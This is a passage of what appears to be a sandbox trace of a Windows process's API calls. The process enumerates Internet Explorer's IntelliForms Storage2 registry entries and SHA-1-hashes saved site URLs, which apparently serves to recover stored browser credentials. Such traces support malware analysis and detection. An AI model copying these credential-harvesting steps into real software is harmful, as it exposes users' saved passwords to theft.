lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.920] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.921] LocalFree (hMem=0x28e7670) returned 0x0 [0096.921] RegEnumValueW (in: hKey=0x368, dwIndex=0x1b, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url23", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.921] StrStrIW (lpFirst="cnet.com", lpSrch="?") returned 0x0 [0096.921] StrStrIW (lpFirst="cnet.com", lpSrch="http://") returned 0x0 [0096.921] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.921] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.921] lstrlenW (lpString="cnet.com") returned 8 [0096.921] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x12, dwFlags=0x0) returned 1 [0096.921] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.921] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FA") returned 2 [0096.921] lstrlenW (lpString="") returned 0 [0096.921] lstrlenW (lpString="FA") returned 2 [0096.921] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.921] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.921] lstrcatW (in: lpString1="", lpString2="FA" | out: lpString1="FA") returned="FA" [0096.921] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0096.921] lstrlenW (lpString="FA") returned 2 [0096.921] lstrlenW (lpString="12") returned 2 [0096.922] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.922] lstrcpyW (in: lpString1=0x28c81c0, lpString2="FA" | out: lpString1="FA") returned="FA" [0096.922] lstrcatW (in: lpString1="FA", lpString2="12" | out: lpString1="FA12") returned="FA12" [0096.922] LocalFree (hMem=0x7222e70) returned 0x0 [0096.922] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E4") returned 2 [0096.922] lstrlenW (lpString="FA12") returned 4 [0096.922] lstrlenW (lpString="E4") returned 2 [0096.922] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0096.922] lstrcpyW (in: lpString1=0x28ca380, lpString2="FA12" | out: lpString1="FA12") returned="FA12" [0096.922] lstrcatW (in: lpString1="FA12", lpString2="E4" | out: lpString1="FA12E4") returned="FA12E4" [0096.922] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.922] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0D") returned 2 [0096.922] lstrlenW (lpString="FA12E4") returned 6 [0096.922] lstrlenW (lpString="0D") returned 2 [0096.922] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.922] lstrcpyW (in: lpString1=0x28c81c0, lpString2="FA12E4" | out: lpString1="FA12E4") returned="FA12E4" [0096.922] lstrcatW (in: lpString1="FA12E4", lpString2="0D" | out: lpString1="FA12E40D") returned="FA12E40D" [0096.922] LocalFree (hMem=0x28ca380) returned 0x0 [0096.922] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6C") returned 2 [0096.922] lstrlenW (lpString="FA12E40D") returned 8 [0096.922] lstrlenW (lpString="6C") returned 2 [0096.922] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0096.922] lstrcpyW (in: lpString1=0x28ca380, lpString2="FA12E40D" | out: lpString1="FA12E40D") returned="FA12E40D" [0096.922] lstrcatW (in: lpString1="FA12E40D", lpString2="6C" | out: lpString1="FA12E40D6C") returned="FA12E40D6C" [0096.922] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.922] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E1") returned 2 [0096.922] lstrlenW (lpString="FA12E40D6C") returned 10 [0096.922] lstrlenW (lpString="E1") returned 2 [0096.922] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.922] lstrcpyW (in: lpString1=0x71cfb40, lpString2="FA12E40D6C" | out: lpString1="FA12E40D6C") returned="FA12E40D6C" [0096.922] lstrcatW (in: lpString1="FA12E40D6C", lpString2="E1" | out: lpString1="FA12E40D6CE1") returned="FA12E40D6CE1" [0096.922] LocalFree (hMem=0x28ca380) returned 0x0 [0096.922] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CC") returned 2 [0096.922] lstrlenW (lpString="FA12E40D6CE1") returned 12 [0096.922] lstrlenW (lpString="CC") returned 2 [0096.922] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.922] lstrcpyW (in: lpString1=0x71cf460, lpString2="FA12E40D6CE1" | out: lpString1="FA12E40D6CE1") returned="FA12E40D6CE1" [0096.923] lstrcatW (in: lpString1="FA12E40D6CE1", lpString2="CC" | out: lpString1="FA12E40D6CE1CC") returned="FA12E40D6CE1CC" [0096.923] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.923] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="64") returned 2 [0096.923] lstrlenW (lpString="FA12E40D6CE1CC") returned 14 [0096.923] lstrlenW (lpString="64") returned 2 [0096.923] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.923] lstrcpyW (in: lpString1=0x71cfb40, lpString2="FA12E40D6CE1CC" | out: lpString1="FA12E40D6CE1CC") returned="FA12E40D6CE1CC" [0096.923] lstrcatW (in: lpString1="FA12E40D6CE1CC", lpString2="64" | out: lpString1="FA12E40D6CE1CC64") returned="FA12E40D6CE1CC64" [0096.923] LocalFree (hMem=0x71cf460) returned 0x0 [0096.923] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CA") returned 2 [0096.923] lstrlenW (lpString="FA12E40D6CE1CC64") returned 16 [0096.923] lstrlenW (lpString="CA") returned 2 [0096.923] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.923] lstrcpyW (in: lpString1=0x71cf460, lpString2="FA12E40D6CE1CC64" | out: lpString1="FA12E40D6CE1CC64") returned="FA12E40D6CE1CC64" [0096.923] lstrcatW (in: lpString1="FA12E40D6CE1CC64", lpString2="CA" | out: lpString1="FA12E40D6CE1CC64CA") returned="FA12E40D6CE1CC64CA" [0096.923] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.923] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5F") returned 2 [0096.923] lstrlenW (lpString="FA12E40D6CE1CC64CA") returned 18 [0096.923] lstrlenW (lpString="5F") returned 2 [0096.923] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.923] lstrcpyW (in: lpString1=0x72912f0, lpString2="FA12E40D6CE1CC64CA" | out: lpString1="FA12E40D6CE1CC64CA") returned="FA12E40D6CE1CC64CA" [0096.923] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA", lpString2="5F" | out: lpString1="FA12E40D6CE1CC64CA5F") returned="FA12E40D6CE1CC64CA5F" [0096.923] LocalFree (hMem=0x71cf460) returned 0x0 [0096.923] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1B") returned 2 [0096.923] lstrlenW (lpString="FA12E40D6CE1CC64CA5F") returned 20 [0096.923] lstrlenW (lpString="1B") returned 2 [0096.923] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.923] lstrcpyW (in: lpString1=0x7290b70, lpString2="FA12E40D6CE1CC64CA5F" | out: lpString1="FA12E40D6CE1CC64CA5F") returned="FA12E40D6CE1CC64CA5F" [0096.923] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F", lpString2="1B" | out: lpString1="FA12E40D6CE1CC64CA5F1B") returned="FA12E40D6CE1CC64CA5F1B" [0096.923] LocalFree (hMem=0x72912f0) returned 0x0 [0096.923] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0096.923] lstrlenW (lpString="FA12E40D6CE1CC64CA5F1B") returned 22 [0096.923] lstrlenW (lpString="0C") returned 2 [0096.923] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.923] lstrcpyW (in: lpString1=0x72912f0, lpString2="FA12E40D6CE1CC64CA5F1B" | out: lpString1="FA12E40D6CE1CC64CA5F1B") returned="FA12E40D6CE1CC64CA5F1B" [0096.923] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F1B", lpString2="0C" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C") returned="FA12E40D6CE1CC64CA5F1B0C" [0096.923] LocalFree (hMem=0x7290b70) returned 0x0 [0096.923] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5D") returned 2 [0096.924] lstrlenW (lpString="FA12E40D6CE1CC64CA5F1B0C") returned 24 [0096.924] lstrlenW (lpString="5D") returned 2 [0096.924] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.924] lstrcpyW (in: lpString1=0x7290b70, lpString2="FA12E40D6CE1CC64CA5F1B0C" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C") returned="FA12E40D6CE1CC64CA5F1B0C" [0096.924] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F1B0C", lpString2="5D" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5D") returned="FA12E40D6CE1CC64CA5F1B0C5D" [0096.924] LocalFree (hMem=0x72912f0) returned 0x0 [0096.924] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D6") returned 2 [0096.924] lstrlenW (lpString="FA12E40D6CE1CC64CA5F1B0C5D") returned 26 [0096.924] lstrlenW (lpString="D6") returned 2 [0096.924] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.924] lstrcpyW (in: lpString1=0x2815670, lpString2="FA12E40D6CE1CC64CA5F1B0C5D" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5D") returned="FA12E40D6CE1CC64CA5F1B0C5D" [0096.924] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F1B0C5D", lpString2="D6" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6") returned="FA12E40D6CE1CC64CA5F1B0C5DD6" [0096.924] LocalFree (hMem=0x7290b70) returned 0x0 [0096.924] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C4") returned 2 [0096.924] lstrlenW (lpString="FA12E40D6CE1CC64CA5F1B0C5DD6") returned 28 [0096.924] lstrlenW (lpString="C4") returned 2 [0096.924] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.924] lstrcpyW (in: lpString1=0x2815a80, lpString2="FA12E40D6CE1CC64CA5F1B0C5DD6" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6") returned="FA12E40D6CE1CC64CA5F1B0C5DD6" [0096.924] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6", lpString2="C4" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C4" [0096.972] LocalFree (hMem=0x2815670) returned 0x0 [0096.972] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="67") returned 2 [0096.972] lstrlenW (lpString="FA12E40D6CE1CC64CA5F1B0C5DD6C4") returned 30 [0096.972] lstrlenW (lpString="67") returned 2 [0096.972] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.972] lstrcpyW (in: lpString1=0x2815670, lpString2="FA12E40D6CE1CC64CA5F1B0C5DD6C4" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C4" [0096.972] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4", lpString2="67" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C467") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C467" [0096.972] LocalFree (hMem=0x2815a80) returned 0x0 [0096.972] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="60") returned 2 [0096.972] lstrlenW (lpString="FA12E40D6CE1CC64CA5F1B0C5DD6C467") returned 32 [0096.972] lstrlenW (lpString="60") returned 2 [0096.972] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.972] lstrcpyW (in: lpString1=0x2815a80, lpString2="FA12E40D6CE1CC64CA5F1B0C5DD6C467" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C467") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C467" [0096.972] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C467", lpString2="60" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C46760") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C46760" [0096.972] LocalFree (hMem=0x2815670) returned 0x0 [0096.972] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="29") returned 2 [0096.972] lstrlenW (lpString="FA12E40D6CE1CC64CA5F1B0C5DD6C46760") returned 34 [0096.972] lstrlenW (lpString="29") returned 2 [0096.972] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.972] lstrcpyW (in: lpString1=0x28e7670, lpString2="FA12E40D6CE1CC64CA5F1B0C5DD6C46760" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C46760") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C46760" [0096.972] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C46760", lpString2="29" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029" [0096.972] LocalFree (hMem=0x2815a80) returned 0x0 [0096.973] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B9") returned 2 [0096.973] lstrlenW (lpString="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029") returned 36 [0096.973] lstrlenW (lpString="B9") returned 2 [0096.973] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.973] lstrcpyW (in: lpString1=0x28e7910, lpString2="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029" [0096.973] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029", lpString2="B9" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B9") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B9" [0096.973] LocalFree (hMem=0x28e7670) returned 0x0 [0096.973] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1D") returned 2 [0096.973] lstrlenW (lpString="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B9") returned 38 [0096.973] lstrlenW (lpString="1D") returned 2 [0096.973] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.973] lstrcpyW (in: lpString1=0x28e7670, lpString2="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B9" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B9") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B9" [0096.973] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B9", lpString2="1D" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B91D") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B91D" [0096.973] LocalFree (hMem=0x28e7910) returned 0x0 [0096.973] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="87") returned 2 [0096.973] lstrlenW (lpString="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B91D") returned 40 [0096.973] lstrlenW (lpString="87") returned 2 [0096.973] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.973] lstrcpyW (in: lpString1=0x28e7910, lpString2="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B91D" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B91D") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B91D" [0096.973] lstrcatW (in: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B91D", lpString2="87" | out: lpString1="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B91D87") returned="FA12E40D6CE1CC64CA5F1B0C5DD6C4676029B91D87" [0096.973] LocalFree (hMem=0x28e7670) returned 0x0 [0096.973] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.973] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.973] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.973] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.973] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.973] LocalFree (hMem=0x28e7910) returned 0x0 [0096.973] RegEnumValueW (in: hKey=0x368, dwIndex=0x1c, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url22", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.973] StrStrIW (lpFirst="google.ch", lpSrch="?") returned 0x0 [0096.973] StrStrIW (lpFirst="google.ch", lpSrch="http://") returned 0x0 [0096.973] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.974] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.974] lstrlenW (lpString="google.ch") returned 9 [0096.974] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x14, dwFlags=0x0) returned 1 [0096.974] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.974] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C2") returned 2 [0096.974] lstrlenW (lpString="") returned 0 [0096.974] lstrlenW (lpString="C2") returned 2 [0096.974] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.974] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.974] lstrcatW (in: lpString1="", lpString2="C2" | out: lpString1="C2") returned="C2" [0096.974] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B7") returned 2 [0096.974] lstrlenW (lpString="C2") returned 2 [0096.974] lstrlenW (lpString="B7") returned 2 [0096.974] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0096.974] lstrcpyW (in: lpString1=0x28ca380, lpString2="C2" | out: lpString1="C2") returned="C2" [0096.974] lstrcatW (in: lpString1="C2", lpString2="B7" | out: lpString1="C2B7") returned="C2B7" [0096.974] LocalFree (hMem=0x7222e70) returned 0x0 [0096.974] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="21") returned 2 [0096.974] lstrlenW (lpString="C2B7") returned 4 [0096.974] lstrlenW (lpString="21") returned 2 [0096.974] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.974] lstrcpyW (in: lpString1=0x28c81c0, lpString2="C2B7" | out: lpString1="C2B7") returned="C2B7" [0096.975] lstrcatW (in: lpString1="C2B7", lpString2="21" | out: lpString1="C2B721") returned="C2B721" [0096.975] LocalFree (hMem=0x28ca380) returned 0x0 [0096.975] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="58") returned 2 [0096.975] lstrlenW (lpString="C2B721") returned 6 [0096.975] lstrlenW (lpString="58") returned 2 [0096.975] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0096.975] lstrcpyW (in: lpString1=0x28ca380, lpString2="C2B721" | out: lpString1="C2B721") returned="C2B721" [0096.975] lstrcatW (in: lpString1="C2B721", lpString2="58" | out: lpString1="C2B72158") returned="C2B72158" [0096.975] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.975] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0096.975] lstrlenW (lpString="C2B72158") returned 8 [0096.975] lstrlenW (lpString="34") returned 2 [0096.975] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.975] lstrcpyW (in: lpString1=0x28c81c0, lpString2="C2B72158" | out: lpString1="C2B72158") returned="C2B72158" [0096.975] lstrcatW (in: lpString1="C2B72158", lpString2="34" | out: lpString1="C2B7215834") returned="C2B7215834" [0096.975] LocalFree (hMem=0x28ca380) returned 0x0 [0096.975] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="26") returned 2 [0096.975] lstrlenW (lpString="C2B7215834") returned 10 [0096.975] lstrlenW (lpString="26") returned 2 [0096.975] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.975] lstrcpyW (in: lpString1=0x71cf460, lpString2="C2B7215834" | out: lpString1="C2B7215834") returned="C2B7215834" [0096.975] lstrcatW (in: lpString1="C2B7215834", lpString2="26" | out: lpString1="C2B721583426") returned="C2B721583426" [0096.975] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.975] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="72") returned 2 [0096.975] lstrlenW (lpString="C2B721583426") returned 12 [0096.975] lstrlenW (lpString="72") returned 2 [0096.975] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.975] lstrcpyW (in: lpString1=0x71cfb40, lpString2="C2B721583426" | out: lpString1="C2B721583426") returned="C2B721583426" [0096.975] lstrcatW (in: lpString1="C2B721583426", lpString2="72" | out: lpString1="C2B72158342672") returned="C2B72158342672" [0096.975] LocalFree (hMem=0x71cf460) returned 0x0 [0096.975] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B5") returned 2 [0096.975] lstrlenW (lpString="C2B72158342672") returned 14 [0096.975] lstrlenW (lpString="B5") returned 2 [0096.975] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.975] lstrcpyW (in: lpString1=0x71cf460, lpString2="C2B72158342672" | out: lpString1="C2B72158342672") returned="C2B72158342672" [0096.975] lstrcatW (in: lpString1="C2B72158342672", lpString2="B5" | out: lpString1="C2B72158342672B5") returned="C2B72158342672B5" [0096.975] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.975] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AC") returned 2 [0096.975] lstrlenW (lpString="C2B72158342672B5") returned 16 [0096.976] lstrlenW (lpString="AC") returned 2 [0096.976] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.976] lstrcpyW (in: lpString1=0x71cfb40, lpString2="C2B72158342672B5" | out: lpString1="C2B72158342672B5") returned="C2B72158342672B5" [0096.976] lstrcatW (in: lpString1="C2B72158342672B5", lpString2="AC" | out: lpString1="C2B72158342672B5AC") returned="C2B72158342672B5AC" [0096.976] LocalFree (hMem=0x71cf460) returned 0x0 [0096.976] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F1") returned 2 [0096.976] lstrlenW (lpString="C2B72158342672B5AC") returned 18 [0096.976] lstrlenW (lpString="F1") returned 2 [0096.976] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.976] lstrcpyW (in: lpString1=0x7290b70, lpString2="C2B72158342672B5AC" | out: lpString1="C2B72158342672B5AC") returned="C2B72158342672B5AC" [0096.976] lstrcatW (in: lpString1="C2B72158342672B5AC", lpString2="F1" | out: lpString1="C2B72158342672B5ACF1") returned="C2B72158342672B5ACF1" [0096.976] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.976] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F7") returned 2 [0096.976] lstrlenW (lpString="C2B72158342672B5ACF1") returned 20 [0096.976] lstrlenW (lpString="F7") returned 2 [0096.976] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.976] lstrcpyW (in: lpString1=0x72912f0, lpString2="C2B72158342672B5ACF1" | out: lpString1="C2B72158342672B5ACF1") returned="C2B72158342672B5ACF1" [0096.976] lstrcatW (in: lpString1="C2B72158342672B5ACF1", lpString2="F7" | out: lpString1="C2B72158342672B5ACF1F7") returned="C2B72158342672B5ACF1F7" [0096.976] LocalFree (hMem=0x7290b70) returned 0x0 [0096.976] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0096.976] lstrlenW (lpString="C2B72158342672B5ACF1F7") returned 22 [0096.976] lstrlenW (lpString="FD") returned 2 [0096.976] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.976] lstrcpyW (in: lpString1=0x7290b70, lpString2="C2B72158342672B5ACF1F7" | out: lpString1="C2B72158342672B5ACF1F7") returned="C2B72158342672B5ACF1F7" [0096.976] lstrcatW (in: lpString1="C2B72158342672B5ACF1F7", lpString2="FD" | out: lpString1="C2B72158342672B5ACF1F7FD") returned="C2B72158342672B5ACF1F7FD" [0096.976] LocalFree (hMem=0x72912f0) returned 0x0 [0096.976] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="32") returned 2 [0096.976] lstrlenW (lpString="C2B72158342672B5ACF1F7FD") returned 24 [0096.976] lstrlenW (lpString="32") returned 2 [0096.976] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.976] lstrcpyW (in: lpString1=0x72912f0, lpString2="C2B72158342672B5ACF1F7FD" | out: lpString1="C2B72158342672B5ACF1F7FD") 